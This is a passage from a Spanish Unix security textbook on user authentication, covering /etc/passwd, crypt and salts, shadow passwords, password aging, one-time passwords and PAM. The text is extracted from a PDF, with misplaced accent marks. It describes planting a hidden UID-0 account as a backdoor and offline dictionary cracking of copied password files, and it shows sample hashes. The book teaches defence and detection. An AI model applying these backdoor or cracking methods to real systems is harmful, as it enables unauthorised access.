continuaci´n tenemos dos n´meros o u que ser´n el identificador de usuario y el de grupo respectivamente. El quinto campo, denominado a gecos es simplemente informaci´n administrativa sobre la identidad real del usuario, como su nom- o bre, tel´fono o n´mero de despacho. Finalmente, los dos ultimos campos corresponden al directorio e u ´ del usuario (su $HOME inicial) y al shell que le ha sido asignado.
- 146. 128 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS Al contrario de lo que mucha gente cree, Unix no es capaz de distinguir a sus usuarios por su nombre de entrada al sistema. Para el sistema operativo lo que realmente distingue a una persona de otra (o al menos a un usuario de otro) es el UID del usuario en cuesti´n; el login es algo que o se utiliza principalmente para comodidad de las personas (obviamente es m´s f´cil acordarse de un a a nombre de entrada como toni que de un UID como 2643, sobre todo si se tienen cuentas en varias m´quinas, cada una con un UID diferente). Por tanto, si en /etc/passwd existen dos entradas con a un mismo UID, para Unix se tratar´ del mismo usuario, aunque tengan un login y un password difer- a ente: as´ si dos usuarios tienen asignado el UID 0, ambos tendr´n privilegios de superusuario, sin ı, a importar el login que utilicen. Esto es especialmente aprovechado por atacantes que han conseguido privilegios de administrador en una m´quina: pueden a˜adir una l´ a n ınea a /etc/passwd mezclada entre todas las dem´s, con un nombre de usuario normal pero con el UID 0; as´ garantizan su en- a ı trada al sistema como administradores en caso de ser descubiertos, por ejemplo para borrar huellas. Como a simple vista puede resultar dif´ localizar la l´ ıcil ınea insertada, especialmente en sistemas con un gran n´mero de usuarios, para detectar las cuentas con privilegios en la m´quina podemos u a utilizar la siguiente orden: anita:~# awk -F: ’$3==0 {print $1}’ /etc/passwd root anita:~# En el fichero de claves van a existir entradas que no corresponden a usuarios reales, sino que son utilizadas por ciertos programas o se trata de cuentas mantenidas por motivos de compatibilidad con otros sistemas; t´ıpicos ejemplos de este tipo de entradas son lp, uucp o postmaster. Estas cuentas han de estar bloqueadas en la mayor´ de casos, para evitar que alguien pueda utilizarlas ıa para acceder a nuestro sistema: s´lo han de ser accesibles para el root mediante la orden su. Aunque o en su mayor´ cumplen esta condici´n, en algunos sistemas estas cuentas tienen claves por defecto ıa o o, peor, no tienen claves, lo que las convierte en una puerta completamente abierta a los intrusos; es conveniente que, una vez instalado el sistema operativo, y antes de poner a trabajar la m´quina, a comprobemos que est´n bloqueadas, o en su defecto que tienen claves no triviales. Algunos ejem- a plos de cuentas sobre los que hay que prestar una especial atenci´n son4 root, guest, lp, demos, o 4DGifts, tour, uucp, nuucp, games o postmaster; es muy recomendable consultar los manuales de cada sistema concreto, y chequear peri´dicamente la existencia de cuentas sin clave o cuentas que o deber´ permanecer bloqueadas y no lo est´n. ıan a Para cifrar las claves de acceso de sus usuarios, el sistema operativo Unix emplea un criptosis- tema irreversible que utiliza la funci´n est´ndar de C crypt(3), basada en el algoritmo DES. Para o a una descripci´n exhaustiva del funcionamiento de crypt(3) se puede consultar [MT79], [FK90] o o [GS96]. Esta funci´n toma como clave los ocho primeros caracteres de la contrase˜a elegida por el o n usuario (si la longitud de ´sta es menor, se completa con ceros) para cifrar un bloque de texto en e claro de 64 bits puestos a cero; para evitar que dos passwords iguales resulten en un mismo texto cifrado, se realiza una permutaci´n durante el proceso de cifrado elegida de forma autom´tica y o a aleatoria para cada usuario, basada en un campo formado por un n´mero de 12 bits (con lo que u conseguimos 4096 permutaciones diferentes) llamado salt. El cifrado resultante se vuelve a cifrar utilizando la contrase˜a del usuario de nuevo como clave, y permutando con el mismo salt, repi- n ti´ndose el proceso 25 veces. El bloque cifrado final, de 64 bits, se concatena con dos bits cero, e obteniendo 66 bits que se hacen representables en 11 caracteres de 6 bits cada uno y que, junto con el salt, pasan a constituir el campo password del fichero de contrase˜as, usualmente /etc/passwd. n As´ los dos primeros caracteres de este campo estar´n constituidos por el salt y los 11 restantes ı, a por la contrase˜a cifrada: n toni:LEgPN8jqSCHCg:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/sh salt: LE Password cifrado: gPN8jqSCHCg Como hemos dicho antes, este criptosistema es irreversible. Entonces, ¿c´mo puede un usuario o conectarse a una m´quina Unix? El proceso es sencillo: el usuario introduce su contrase˜a, que a n se utiliza como clave para cifrar 64 bits a 0 bas´ndose en el salt, le´ en /etc/passwd, de dicho a ıdo 4 Hemos preferido no mostrar las claves por defecto (si las tienen) ni el sistema operativo concreto.
- 147. ´ 8.5. AUTENTICACION DE USUARIOS EN UNIX 129 usuario. Si tras aplicar el algoritmo de cifrado el resultado se corresponde con lo almacenado en los ultimos 11 caracteres del campo password del fichero de contrase˜as, la clave del usuario se ´ n considera v´lida y se permite el acceso. En caso contrario se le deniega y se almacena en un fichero a el intento de conexi´n fallido. o 8.5.2 Mejora de la seguridad Problemas del modelo cl´sico a Los ataques de texto cifrado escogido constituyen la principal amenaza al sistema de autenticaci´n o de Unix; a diferencia de lo que mucha gente cree, no es posible descifrar una contrase˜a, pero es n muy f´cil cifrar una palabra junto a un determinado salt, y comparar el resultado con la cadena a almacenada en el fichero de claves. De esta forma, un atacante leer´ el fichero /etc/passwd (este a fichero ha de tener permiso de lectura para todos los usuarios si queremos que el sistema funcione correctamente), y mediante un programa adivinador (o crackeador) como Crack o John the Ripper cifrar´ todas las palabras de un fichero denominado diccionario (un fichero ASCII con un gran a n´mero de palabras de cualquier idioma o campo de la sociedad – historia cl´sica, deporte, cantantes u a de rock. . . ), comparando el resultado obtenido en este proceso con la clave cifrada del fichero de contrase˜as; si ambos coinciden, ya ha obtenido una clave para acceder al sistema de forma no n autorizada. Este proceso se puede pero no se suele hacer en la m´quina local, ya que en este caso a hay bastantes posibilidades de detectar el ataque: desde modificar en c´digo de la funci´n crypt(3) o o para que alerte al administrador cuando es invocada repetidamente (cada vez que el adivinador cifra una palabra utiliza esta funci´n) hasta simplemente darse cuenta de una carga de CPU excesiva o (los programas adivinadores suelen consumir un tiempo de procesador considerable). Lo habitual es que el atacante transfiera una copia del archivo a otro ordenador y realice el proceso en esta otra m´quina; ni siquiera se tiene que tratar de un servidor Unix con gran capacidad de c´mputo: a o existen muchos programas adivinadores que se ejecutan en un PC normal, bajo MS-DOS o Windows. Obviamente, este segundo caso es mucho m´s dif´ de detectar, ya que se necesita una auditor´ a ıcil ıa de los programas que ejecuta cada usuario (y utilidades como cp o ftp no suelen llamar la atenci´n o del administrador). Esta auditor´ la ofrecen muchos sistemas Unix (generalmente en los ficheros ıa de log /var/adm/pacct o /var/adm/acct), pero no se suele utilizar por los excesivos recursos que puede consumir, incluso en sistemas peque˜os; obviamente, no debemos fiarnos nunca de los n archivos hist´ricos de ´rdenes del usuario (como $HOME/.sh history o $HOME/.bash history), ya o o que el atacante los puede modificar para ocultar sus actividades, sin necesidad de ning´n privilegio u especial. Contrase˜ as aceptables n La principal forma de evitar este tipo de ataque es utilizar passwords que no sean palabras de los ficheros diccionario t´ıpicos: combinaciones de min´sculas y may´sculas, n´meros mezclados con u u u texto, s´ımbolos como &, $ o %, etc. Por supuesto, hemos de huir de claves simples como internet o beatles, nombres propios, combinaciones d´biles como Pepito1 o qwerty, nombres de lugares, actores, e personajes de libros, deportistas. . . Se han realizado numerosos estudios sobre c´mo evitar este tipo o de passwords en los usuarios ([dA88], [Kle90], [Spa91b], [Bel93a], [Bis91], [BK95]. . . ), y tambi´ne se han dise˜ado potentes herramientas para lograrlo, como Npasswd o Passwd+ ([Spa91b], [Bis92], n [CHN+ 92]. . . ). Es bastante recomendable instalar alguna de ellas para ‘obligar’ a los usuarios a utilizar contrase˜as aceptables (muchos Unices ya las traen incorporadas), pero no conviene confiar n toda la seguridad de nuestro sistema a estos programas5 . Como norma, cualquier administrador deber´ ejecutar con cierta periodicidad alg´n programa adivinador, tipo Crack, para comprobar ıa u que sus usuarios no han elegidos contrase˜as d´biles (a pesar del uso de Npasswd o Passwd+): se n e puede tratar de claves generadas antes de instalar estas utilidades o incluso de claves asignadas por el propio root que no han pasado por el control de estos programas. Por ultimo es necesario recordar que para que una contrase˜a sea aceptable obligatoriamente ha ´ n de cumplir el principio KISS, que hablando de passwords est´ claro que no puede significar ‘Keep a it simple, stupid!’ sino ‘Keep it SECRET, stupid!’. La contrase˜a m´s larga, la m´s dif´ de n a a ıcil 5 ¡Ni a ning´ n otro! u
- 148. 130 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS recordar, la que combina m´s caracteres no alfab´ticos. . . pierde toda su robustez si su propietario a e la comparte con otras personas6 . Para verificar el hecho que de no hay que confiar toda la seguridad de un sistema a ning´n u programa, hemos crackeado el fichero de claves de un servidor de la Universidad Polit´cnica e de Valencia. Se trata de un sistema Unix con unos 1300 usuarios, dedicado a c´lculo cient´ a ıfico (obviamente, no vamos a decir el nombre del servidor). A pesar de utilizar un mecanismo que no permite que los usuarios elijan claves d´biles, en menos de dos horas de ejecuci´n sobre e o un Pentium MMX a 233 MHz el programa Crack corriendo sobre Solaris ha encontrado seis claves de usuario utilizando exclusivamente diccionarios de demostraci´n que acompa˜an al o n programa (seguramente si utiliz´ramos diccionarios en castellano o relacionados con temas a como el deporte o la m´sica nacionales – que los hay– habr´ u ıamos encontrado alguna clave m´s. . . ). Se puede pensar que s´lo seis usuarios de entre 1300 es algo bastante aceptable, a o pero no es as´ cualquier combinaci´n v´lida de login y password es una puerta abierta en ı: o a nuestro sistema; si un intruso consigue entrar por esta puerta, tiene m´s del 70% del camino a recorrido para obtener el control total de la m´quina. Si queremos conseguir un sistema a m´ınimamente fiable, no podemos permitir ni una sola clave d´bil. e Sin embargo, tampoco hay que pensar que programas como Passwd+ no desempe˜an bien n su labor: en 1994, cuando en el sistema con el que hemos realizado la prueba anterior no dispon´ de estos mecanismos de seguridad, en menos de 12 horas de ejecuci´n de un ıa o programa adivinador sobre un 486DX a 33 MHz utilizando Linux, se consiguieron extraer m´s de cien claves, entre ellas algunas de usuarios con cierto nivel de privilegio dentro del a sistema. Shadow Password Otro m´todo cada d´ m´s utilizado para proteger las contrase˜as de los usuarios el denominado e ıa a n Shadow Password u oscurecimiento de contrase˜as. La idea b´sica de este mecanismo es impedir que n a los usuarios sin privilegios puedan leer el fichero donde se almacenan las claves cifradas; en el punto anterior hemos comentado que el fichero /etc/passwd tiene que tener permiso de lectura para todo el mundo si queremos que el sistema funcione correctamente. En equipos con oscurecimiento de contrase˜as este fichero sigue siendo legible para todos los usuarios, pero a diferencia del mecanismo n tradicional, las claves cifradas no se guardan en ´l, sino en el archivo /etc/shadow, que s´lo el root e o puede leer. En el campo correspondiente a la clave cifrada de /etc/passwd no aparece ´sta, sino e un s´ımbolo que indica a determinados programas (como /bin/login) que han de buscar las claves en /etc/shadow, generalmente una x: toni:x:1000:100:Antonio Villalon,,,:/export/home/toni:/bin/sh El aspecto de /etc/shadow es en cierta forma similar al de /etc/passwd que ya hemos comentado: existe una l´ ınea por cada usuario del sistema, en la que se almacena su login y su clave cifrada. Sin embargo, el resto de campos de este fichero son diferentes; corresponden a informaci´n que o permite implementar otro mecanismo para proteger las claves de los usuarios, el envejecimiento de contrase˜as o Aging Password, del que hablaremos a continuaci´n: n o toni:LEgPN8jqSCHCg:10322:0:99999:7::: Desde hace un par de a˜os, la gran mayor´ de Unices del mercado incorporan este mecanismo; si al n ıa instalar el sistema operativo las claves aparecen almacenadas en /etc/passwd podemos comprobar si existe la orden pwconv, que convierte un sistema cl´sico a uno oscurecido. Si no es as´ o si a ı, utilizamos un Unix antiguo que no posee el mecanismo de Shadow Password, es muy conveniente que consigamos el paquete que lo implementa (seguramente se tratar´ de un fichero shadow.tar.gz a que podemos encontar en multitud de servidores, adecuado a nuestro clon de Unix) y lo instalemos en el equipo. Permitir que todos los usuarios lean las claves cifradas ha representado durante a˜os, n y sigue representando, uno de los mayores problemas de seguridad de Unix; adem´s, una de las a actividades preferidas de piratas novatos es intercambiar ficheros de claves de los sistemas a los que acceden y crackearlos, con lo que es suficiente una persona que lea nuestro fichero para tener en poco tiempo una colonia de intrusos en nuestro sistema. 6 ‘Three can keep a secret. . . if two of them are dead’. Benjamin Franklin.
- 149. ´ 8.5. AUTENTICACION DE USUARIOS EN UNIX 131 Envejecimiento de contrase˜ as n En casi todas las implementaciones de Shadow Password actuales7 se suele incluir la implementaci´n o para otro mecanismo de protecci´n de las claves denominado envejecimiento de contrase˜as (Aging o n Password). La idea b´sica de este mecanismo es proteger los passwords de los usuarios d´ndoles un a a determinado periodo de vida: una contrase˜a s´lo va a ser v´lida durante un cierto tiempo, pasado n o a el cual expirar´ y el usuario deber´ cambiarla. a a Realmente, el envejecimiento previene m´s que problemas con las claves problemas con la trans- a misi´n de ´stas por la red: cuando conectamos mediante mecanismos como telnet, ftp o rlogin o e a un sistema Unix, cualquier equipo entre el nuestro y el servidor puede leer los paquetes que envi- amos por la red, incluyendo aquellos que contienen nuestro nombre de usuario y nuestra contrase˜a n (hablaremos de esto m´s a fondo en los cap´ a ıtulos dedicados a la seguridad del sistema de red y a la criptograf´ de esta forma, un atacante situado en un ordenador intermedio puede obtener muy ıa); f´cilmente nuestro login y nuestro password. Si la clave capturada es v´lida indefinidamente, esa per- a a sona tiene un acceso asegurado al servidor en el momento que quiera; sin embargo, si la clave tiene un periodo de vida, el atacante s´lo podr´ utilizarla antes de que el sistema nos obligue a cambiarla. o a A primera vista, puede parecer que la utilidad del envejecimiento de contrase˜as no es muy grande; n al fin y al cabo, la lectura de paquetes destinados a otros equipos (sniffing) no se hace por casu- alidad: el atacante que lea la red en busca de claves y nombres de usuario lo va a hacer porque quiere utilizar estos datos contra un sistema. Sin embargo, una pr´ctica habitual es dejar programas a escuchando durante d´ y grabando la informaci´n le´ en ficheros; cada cierto tiempo el pirata ıas o ıda consultar´ los resultados de tales programas, y si la clave le´ ya ha expirado y su propietario la a ıda ha cambiado por otra, el haberla capturado no le servir´ de nada a ese atacante. a Los periodos de expiraci´n de las claves se suelen definir a la hora de crear a los usuarios con las o herramientas que cada sistema ofrece para ello (por ejemplo, Solaris y su admintool, mostrado en la figura 8.5). Si queremos modificar alguno de estos periodos una vez establecidos, desde esas mismas herramientas de administraci´n podremos hacerlo, y tambi´n desde l´ o e ınea de ´rdenes me- o diante ´rdenes como chage o usermod. Como antes hemos dicho, en el archivo /etc/shadow se o almacena, junto a la clave cifrada de cada usuario, la informaci´n necesaria para implementar el o envejecimiento de contrase˜as; una entrada de este archivo es de la forma n toni:LEgPN8jqSCHCg:10322:0:99999:7::: Tras el login y el password de cada usuario se guardan los campos siguientes: • D´ transcurridos desde el 1 de enero de 1970 hasta que la clave se cambi´ por ultima vez. ıas o ´ • D´ que han de transcurrir antes de que el usuario pueda volver a cambiar su contrase˜a. ıas n • D´ tras los cuales se ha de cambiar la clave. ıas • D´ durante los que el usuario ser´ avisado de que su clave va a expirar antes de que ´sta lo ıas a e haga. • D´ que la cuenta estar´ habilitada tras la expiraci´n de la clave. ıas a o • D´ desde el 1 de enero de 1970 hasta que la cuenta se deshabilite. ıas • Campo reservado. Como podemos ver, cuando un usuario cambia su clave el sistema le impide volverla a cambiar durante un periodo de tiempo; con esto se consigue que cuando el sistema obligue a cambiar la contrase˜a el usuario no restaure inmediatamente su clave antigua (en este caso el esquema no n servir´ de nada). Cuando este periodo finaliza, suele existir un intervalo de cambio voluntario: ıa est´ permitido el cambio de contrase˜a, aunque no es obligatorio; al finalizar este nuevo periodo, a n el password ha expirado y ya es obligatorio cambiar la clave. Si el n´mero m´ximo de d´ en los u a ıas 7 AT&T/USL fu´ el pionero en utilizar envejecimiento junto al shadow password. e
- 150. 132 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS Car´cter a . / 0 1 2 3 4 5 6 7 8 9 A B C Valor (semanas) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Car´cter a D E F G H I J K L M N O P Q R Valor (semanas) 16 17 18 19 20 21 21 22 23 24 25 26 27 28 29 Car´cter a S T U V W X Y Z a b c d e f g Valor (semanas) 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Car´cter a h i j k l m n o p q r s t u v Valor (semanas) 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 Car´cter a w x y z Valor (semanas) 60 61 62 63 Tabla 8.2: C´digos de caracteres para el envejecimiento de contrase˜as. o n que el usuario no puede cambiar su contrase˜a es mayor que el n´mero de d´ tras los cuales es n u ıas obligatorio el cambio, el usuario no puede cambiar nunca su clave. Si tras el periodo de cambio obligatorio el password permanece inalterado, la cuenta se bloquea. En los sistemas Unix m´s antiguos (hasta System V Release 3.2), sin shadow password, toda la a informaci´n de envejecimiento se almacena en /etc/passwd, junto al campo correspondiente a la o clave cifrada de cada usuario pero separada de ´ste por una coma: e root:cp5zOHITeZLWM,A.B8:0:0:El Spiritu Santo,,,:/root:/bin/bash En este caso el primer car´cter tras la coma es el n´mero m´ximo de semanas antes de que el a u a password expire; el siguiente car´cter es el n´mero m´ a u ınimo de semanas antes de que el usuario pueda cambiar su clave, y el tercer y cuarto car´cter indican el tiempo transcurrido desde el 1 de enero de a 1970 hasta el ultimo cambio de contrase˜a. Todos estos tiempos se indican mediante determinados ´ n caracteres con un significado especial, mostrados en la tabla 8.2. Tambi´n se contemplan en este e esquema tres casos especiales: si los dos primeros caracteres son ‘..’ el usuario ser´ obligado a a cambiar su clave la siguiente vez que conecte al sistema; el programa passwd modificar´ entonces a su entrada en el archivo para que el usuario no se vuelva a ver afectado por el envejecimiento. Otro caso especial ocurre cuando los dos ultimos caracteres tambi´n son ‘..’, situaci´n en la cual el ´ e o usuario igualmente se ver´ obligado a cambiar su clave la pr´xima vez que conecte al sistema pero a o el envejecimiento seguir´ definido por los dos primeros caracteres. Por ultimo, si el primer car´cter a ´ a tras la coma es menor que el siguiente, el usuario no puede cambiar su password nunca, y s´lo puede o ser modificado a trav´s de la cuenta root. e Claves de un solo uso El envejecimiento de contrase˜as tiene dos casos extremos. Por un lado, tenemos el esquema cl´sico: n a una clave es v´lida hasta que el usuario voluntariamente decida cambiarla (es decir, no hay caduci- a dad de la contrase˜a). El extremo contrario del Aging Password es otorgar un tiempo de vida n m´ınimo a cada clave, de forma que s´lo sirva para una conexi´n: es lo que se denomina clave de un o o solo uso, One Time Password ([Lam81]). ¿C´mo utilizar contrase˜as de un s´lo uso? Para conseguirlo existen diferentes aproximaciones; o n o la m´s simplista consiste en asignar al usuario una lista en papel con la secuencia de claves a uti- a lizar, de forma que cada vez que ´ste conecte al sistema elimina de la lista la contrase˜a que acaba e n de utilizar. Por su parte, el sistema avanza en su registro para que la pr´xima vez que el usuario o conecte pueda utilizar la siguiente clave. Otra aproximaci´n consiste en utilizar un peque˜o dispos- o n itivo que el usuario debe llevar consigo, como una tarjeta o una calculadora especial, de forma que cuando desee conectar el sistema le indicar´ una secuencia de caracteres a teclear en tal dispositivo; a el resultado obtenido ser´ lo que se ha de utilizar como password. Para incrementar la seguridad a ante un robo de la tarjeta, antes de teclear el n´mero recibido desde la m´quina suele ser necesario u a utilizar un P.I.N. que el usuario debe mantener en secreto ([GS96]). Una de las implementaciones del One Time Password m´s extendida entre los diferentes clones a
- 151. 8.6. PAM 133 de Unix es s/key ([Hal94]), disponible tambi´n para clientes Windows y MacOS. Utilizando este e software, la clave de los usuarios no viaja nunca por la red, ni siquiera al ejecutar ´rdenes como su o o passwd, ni tampoco se almacena informaci´n comprometedora (como las claves en claro) en la o m´quina servidora. Cuando el cliente desea conectar contra un sistema genera una contrase˜a de a n un solo uso, que se verifica en el servidor; en ambas tareas se utilizan las funciones resumen md4 ([Riv90]) o md5 ([Riv92]). Para realizar la autenticaci´n, la m´quina servidora guarda una copia o a del password que recibe del cliente y le aplica la funci´n resumen; si el resultado no coincide con la o copia guardada en el fichero de contrase˜as, se deniega el acceso. Si por el contrario la verificaci´n n o es correcta se actualiza la entrada del usuario en el archivo de claves con el one time password que se ha recibido (antes de aplicarle la funci´n), avanzando as´ en la secuencia de contrase˜as. Este o ı n avance decrementa en uno el n´mero de iteraciones de la funci´n ejecutadas, por lo que ha de llegar u o un momento en el que el usuario debe reiniciar el contador o en caso contrario se le negar´ el acceso a al sistema; para ello ejecuta una versi´n modificada de la orden passwd. o Otros m´todos e Algo por lo que se ha criticado el esquema de autenticaci´n de usuarios de Unix es la longitud o – para prop´sitos de alta seguridad, demasiado corta – de sus claves; lo que hace a˜os era poco o n m´s que un planteamiento te´rico ([DH77]), actualmente es algo factible: sin ni siquiera entrar en a o temas de hardware dedicado, seguramente demasiado caro para la mayor´ de atacantes, con un ıa supercomputador es posible romper claves de Unix en menos de dos d´ ([KI99]). ıas Un m´todo que aumenta la seguridad de nuestras claves frente a ataques de intrusos es el cifrado e mediante la funci´n conocida como bigcrypt() o crypt16(), que permite longitudes para las claves o y los salts m´s largas que crypt(3); sin embargo, aunque se aumenta la seguridad de las claves, el a problema que se presenta aqu´ es la incompatibilidad con las claves del resto de Unices que sigan ı utilizando crypt(3); este es un problema com´n con otras aproximaciones ([Man96], [KI99]. . . ) u que tambi´n se basan en modificar el algoritmo de cifrado, cuando no en utilizar uno nuevo. e 8.6 PAM PAM (Pluggable Authentication Module) no es un modelo de autenticaci´n en s´ sino que se trata de o ı, un mecanismo que proporciona una interfaz entre las aplicaciones de usuario y diferentes m´todos e de autenticaci´n, trantado de esta forma de solucionar uno de los problemas cl´sicos de la auten- o a ticaci´n de usuarios: el hecho de que una vez que se ha definido e implantado cierto mecanismo o en un entorno, es dif´ cambiarlo. Mediante PAM podemos comunicar a nuestra aplicaciones con ıcil los m´todos de autenticaci´n que deseemos de una forma transparente, lo que permite integrar las e o utilidades de un sistema Unix cl´sico (login, ftp, telnet. . . ) con esquemas diferentes del habitual a password: claves de un solo uso, biom´tricos, tarjetas inteligentes. . . e PAM viene ‘de serie’ en diferentes sistemas Unix, tanto libres como comerciales (Solaris, FreeBSD, casi todas las distribuciones de Linux. . . ), y el nivel de abstracci´n que proporciona permite cosas o tan interesantes como kerberizar nuestra autenticaci´n (al menos la parte servidora) sin m´s que o a cambiar la configuraci´n de PAM, que se encuentra bien en el fichero /etc/pam.conf o bien en o diferentes archivos dentro del directorio /etc/pam.d/; en el primero de los dos casos, por ejemplo en Solaris, el fichero de configuraci´n de PAM est´ formado por l´ o a ıneas de la siguiente forma: servicio tipo control ruta m´dulo argumentos m´dulo o o El campo ‘servicio’ indica obviamente el nombre del servicio sobre el que se va a aplicar la autenticaci´n (ftp, telnet, dtlogin, passwd. . . ), y el campo ‘tipo’ define el tipo de servicio o sobre el que se aplica el m´dulo; PAM define cuatro posibles valores para este campo ([Her00]): o • account Determina si el usuario est´ autorizado a acceder al servicio indicado, por ejemplo si su clave a ha caducado, si el acceso se produce desde una l´ ınea determinada o si se supera el n´mero u m´ximo de conexiones simult´neas. a a
- 152. 134 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS • auth Determina si el usuario es autenticado correctamente, por ejemplo mediante una clave cl´sica a de Unix o mediante un m´todo biom´trico. e e • password Proporciona mecanismos para que el usuario actualice su elemento de autenticaci´n, por o ejemplo para cambiar su contrase˜a de acceso al sistema. n • session Define procesos a ejecutar antes o despu´s de autenticar al usuario, como registrar el evento e o activar un mecanismo de monitorizaci´n concreto. o Por su parte, el campo al que hemos etiquetado como ‘control’ marca qu´ hacer ante el ´xito o e e el fracaso del m´dulo al que afecten; los m´dulos PAM son apilables, esto es, podemos combinar o o un n´mero indeterminado de ellos (del mismo tipo) para un unico servicio de forma que si uno de u ´ ellos falla la autenticaci´n es incorrecta, si uno de ellos es correcto no nos preocupamos del resto, si o algunos son necesarios pero otros no para una correcta autenticaci´n, etc. Se definen cuatro tipos o de control: • required El resultado del m´dulo ha de ser exitoso para que se proporcione acceso al servicio; si falla, el o resto de m´dulos de la pila se ejecutan, pero sin importar su resultado el acceso ser´ denegado. o a • requisite De nuevo, el resultado del m´dulo ha de ser exitoso para que se proporcione acceso al servicio; o en caso contrario, no se ejecutan m´s m´dulos y el acceso se deniega inmediatamente. a o • sufficient Si la ejecuci´n el m´dulo correspondiente tiene ´xito el acceso se permite inmediatamente (sin o o e ejecutar el resto de m´dulos para el mismo servicio) siempre y cuando no haya fallado antes o un m´dulo cuyo tipo de control sea ‘required’; si la ejecuci´n es incorrecta, no se implica o o necesariamente una negaci´n de acceso. o • optional El resultado de su ejecuci´n no es cr´ o ıtico para determinar el acceso al servicio requerido: si falla, pero otro m´dulo del mismo tipo para el servicio es exitoso, se permite el acceso. S´lo o o es significativo si se trata del unico m´dulo de su tipo para un cierto servicio, en cuyo caso el ´ o acceso al servicio se permite o deniega en funci´n de si la ejecuci´n del m´dulo tiene ´xito. o o o e Finalmente, el campo ‘ruta modulo’ marca el nombre del m´dulo o la ruta donde est´ ubicado el o a´ fichero, mientras que ‘argumentos modulo define los argumentos que se le han de pasar cuando se invoca; este ultimo es el unico campo opcional del fichero. ´ ´ En el caso de que la configuraci´n de PAM se distribuya en diferentes ficheros dentro del directorio o /etc/pam.d/ (generalmente implementaciones m´s modernas, como las de Linux), el nombre de a cada fichero marca el servicio al que afecta la autenticaci´n (es decir, encontraremos un archivo o llamado ‘telnet’, otro llamado ‘ftp’, etc.), de forma que las l´ıneas de cada fichero unicamente ´ tienen los cuatro ultimos campos de los comentados aqu´ ´ ı. Veamos un ejemplo: la autenticaci´n definida para el servicio ‘login’ en un sistema Solaris; el o fichero /etc/pam.conf contendr´ l´ a ıneas como las siguientes: anita:/# grep ^login /etc/pam.conf login auth required /usr/lib/security/$ISA/pam_unix.so.1 login auth required /usr/lib/security/$ISA/pam_dial_auth.so.1 login account requisite /usr/lib/security/$ISA/pam_roles.so.1 login account required /usr/lib/security/$ISA/pam_unix.so.1 anita:/#
- 153. 8.6. PAM 135 La primera l´ ınea indica que cuando un usuario desee autenticarse contra el servicio de ‘login’, ha de ejecutar correctamente el m´dulo pam unix, el principal de Solaris, que proporciona fun- o cionalidad para los cuatro tipos de servicio de los que hemos hablado; como en este caso el tipo es ‘auth’, lo que hace el m´dulo es comparar la clave introducida por el usuario con la que ex- o iste en el archivo de contrase˜as de la m´quina, autentic´ndolo si coinciden. Evidentemente, el n a a control es de tipo ‘required’, lo que viene a decir que el password tecleado ha de ser el correcto para poder autenticarse contra el sistema; algo parecido sucede con la segunda l´ ınea, que invoca al m´dulo pam dial auth, encargado de validar la l´ o ınea de conexi´n y las claves de dialup en Solaris, o si los archivos /etc/dialups y /etc/d passwd existen. Si cualquiera de los m´dulos devolviera un o c´digo de ejecuci´n incorrecta, el acceso al servicio de login – el acceso a la m´quina – se denegar´ o o a ıa. Las dos l´ ıneas siguientes se utilizan para la gesti´n de las claves de usuario, tambi´n para el control o e de acceso al servicio ‘login’; el m´dulo pam roles comprueba que el usuario que ejecuta el proceso o est´ autorizado a asumir el rol del usuario que quiere autenticarse, mientras que pam unix, del que a ya hemos hablado, lo que hace ahora que el tipo de servicio es ‘account’ es simplemente verificar que el password del usuario no ha caducado. El tipo de control en el primer caso es ‘requisite’, lo que implica que si el m´dulo falla directamente se niega el acceso y no se ejecuta el m´dulo o o pam unix; si el primero no falla, s´ que se ejecuta este ultimo, y su resultado ha de ser correcto para ı ´ permitir el acceso (algo por otra parte evidente). La arquitectura PAM ha venido a solucionar diferentes problemas hist´ricos de la autenticaci´n o o de usuarios en entornos Unix – especialmente en entornos complejos, como sistemas distribuidos o reinos Kerberos; proporciona una independencia entre los servicios del sistema y los mecanismos de autenticaci´n utilizados, beneficiando tanto al usuario como a los administradores Unix. Desde o 1995, a˜o en que se adopt´ la soluci´n propuesta por Sun Microsystems hasta la actualidad, cada n o o vez m´s plataformas integran PAM por defecto, con lo que se ha convertido en el est´ndar de facto a a en la autenticaci´n dentro de entornos Unix. o
- 154. 136 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOS Figura 8.5: La herramienta de administraci´n admintool (Solaris), con opciones para envejecimien- o to de claves.
- 155. Parte III Algunos sistemas Unix
- 157. Cap´ ıtulo 9 Solaris 9.1 Introducci´n o Solaris es el nombre del actual entorno de trabajo Unix desarrollado por Sun Microsystems; con anterioridad esta compa˜´ ofrec´ SunOS, un sistema basado en bsd, pero a partir de su versi´n 5 nıa ıa o el sistema fu´ completamente revisado, adopt´ el modelo System V y se pas´ a denominar Solaris, e o o que es como se conoce actualmente1 . Hasta la versi´n 6, el producto era conocido como ‘Solaris o 2.x’ – equivalentemente, ‘SunOS 5.x’ –, pero desde su versi´n 7 se elimin´ el ‘2.x’ y simplemente o o se pas´ a llamar ‘Solaris x’, aunque se sigue manteniendo el nombre ‘SunOS 5.x’; en la actualidad, o Sun Microsystems ofrece Solaris 8, y se espera que en 2001 aparezca en el mercado Solaris 9. Solaris es uno de los Unix m´s extendidos hoy en d´ ya que sus posibilidades comprenden un a ıa, abanico muy amplio; aunque funciona sobre arquitecturas x86 (lo que permite que cualquiera pue- da instalar y utilizar el operativo en un PC casero), el principal mercado de Solaris est´ en las a estaciones y los servidores sparc (Scalable Processor ARChitecture). Dentro de esta familia de procesadores podemos encontrar todo tipo de m´quinas, desde estaciones que pueden ser equiva- a lentes en potencia a un PC (como la Ultrasparc 5) a grandes servidores (por ejemplo, los Ultra Enterprise 10000), pasando por supuesto por servidores medios, como los Ultra Enterprise 3500; esta amplia gama de m´quinas hace que Solaris se utilice en todo tipo de aplicaciones, desde equipos a de sobremesa o servidores web sencillos hasta sistemas de bases de datos de alta disponibilidad. Su uso como plataforma de aplicaciones relacionadas con la seguridad (t´ıpicamente, sistemas cortafue- gos funcionando con Firewall–1) tambi´n est´ muy extendido. e a Para conocer m´s el entorno de trabajo Solaris podemos descargar las im´genes del operativo, tanto a a para arquitecturas sparc como para x86, y de forma completamente gratuita, desde la web corpo- rativa de Sun Microsystems: http://www.sun.com/. Tambi´n podemos obtener documentaci´n de e o casi cualquier tema relacionado con Solaris en la direcci´n 